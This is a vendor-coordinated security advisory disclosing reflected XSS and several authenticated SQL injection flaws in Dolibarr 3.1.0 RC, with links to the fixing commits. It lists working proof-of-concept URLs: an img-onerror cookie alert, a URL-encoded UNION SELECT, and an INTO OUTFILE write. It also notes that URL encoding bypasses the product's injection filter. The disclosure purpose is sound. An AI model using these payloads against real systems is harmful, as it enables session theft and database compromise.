Vulnerability ID: HTB23056 Reference: https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_dolibarr.html Product: Dolibarr Vendor: Dolibarr foundation ( http://www.dolibarr.org/ ) Vulnerable Version: 3.1.0 RC and probably prior Tested Version: 3.1.0 RC Vendor Notification: 02 November 2011 Vulnerability Type: XSS, SQL Injection Status: Fixed by Vendor Risk level: High Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ ) Vulnerability Details: High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Dolibarr, which can be exploited to perform cross-site scripting & sql injection attacks. 1) Input appended to the URL after multiple files is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site The following PoC code is available: http://[host]/index.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E http://[host]/admin/boxes.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E http://[host]/comm/clients.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E http://[host]/commande/index.php/%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E Successful exploitation of this vulnerabilities requires that Apache's directive "AcceptPathInfo" is set to "on" or "default" (default value is "default") 2) Input passed via the "sortfield", "sortorder" and "sall" GET parameters to /user/index.php is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. The following PoC code is available: http://[host]/user/index.php?sall=1%%27%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14%20--%20 http://[host]/user/index.php?begin=search_user=&sall=&&sortfield=SQL_CODE_HERE http://[host]/user/index.php?begin=search_user=&sall=&sortfield=u.login&sortorder=SQL_CODE_HERE Successful exploitation of this vulnerability requires attacker to be registered and logged-in. To bypass Dolibarr sql-injection filter and exploit this vulnerability an attacker should use url-encode technique. 3) Input passed via the "id" GET parameter to /user/info.php, /user/perms.php, /user/param_ihm.php, /user/note.php, /user/fiche.php is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. The following PoC code is available: http://[host]/user/info.php?id=1 INTO OUTFILE '../../../tmp/example' Successful exploitation of this vulnerability requires attacker to be registered and logged-in. To bypass Dolibarr sql-injection filter and exploit this vulnerability an attacker should use url-encode technique. 4) Input passed via the "rowid" GET parameter to /admin/boxes.php is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. The following PoC code is available: http://[host]/admin/boxes.php?action=delete&rowid=SQL_CODE_HERE Successful exploitation of this vulnerability requires attacker to be registered and logged-in. To bypass Dolibarr sql-injection filter and exploit this vulnerability an attacker should use url-encode technique. 5) Input passed via the "sortfield" & "sortorder" & "sall" GET parameters to /user/group/index.php is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. The following PoC code is available: http://[host]/user/group/index.php?begin=search_user=&sall=&&sortfield=SQL_CODE_HERE http://[host]/user/group/index.php?begin=search_user=&sall=&sortfield=u.login&sortorder=SQL_CODE_HERE http://[host]/user/group/index.php?sall=SQL_CODE_HERE Successful exploitation of this vulnerability requires attacker to be registered and logged-in. To bypass Dolibarr sql-injection filter and exploit this vulnerability an attacker should use url-encode technique. 6) Input appended to the URL after multiple files is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site The following PoC code is available: http://[host]/admin/ihm.php?optioncss=%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E http://[host]/user/home.php?optioncss=%22%3E%3Cimg%20src=1%20onerror=javascript:alert%28document.cookie%29%3E Solution: Several patches were added into 3.1 and into develop branch: https://github.com/Dolibarr/dolibarr/commit/d08d28c0cda1f762a47cc205d4363de03df16675 https://github.com/Dolibarr/dolibarr/commit/762f98ab4137749d0993612b4e3544a4207e78a1 https://github.com/Dolibarr/dolibarr/commit/c539155d6ac2f5b6ea75b87a16f298c0090e535a https://github.com/Dolibarr/dolibarr/commit/63820ab37537fdff842539425b2bf2881f0d8e91 Disclaimer: Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on the web page in Reference field.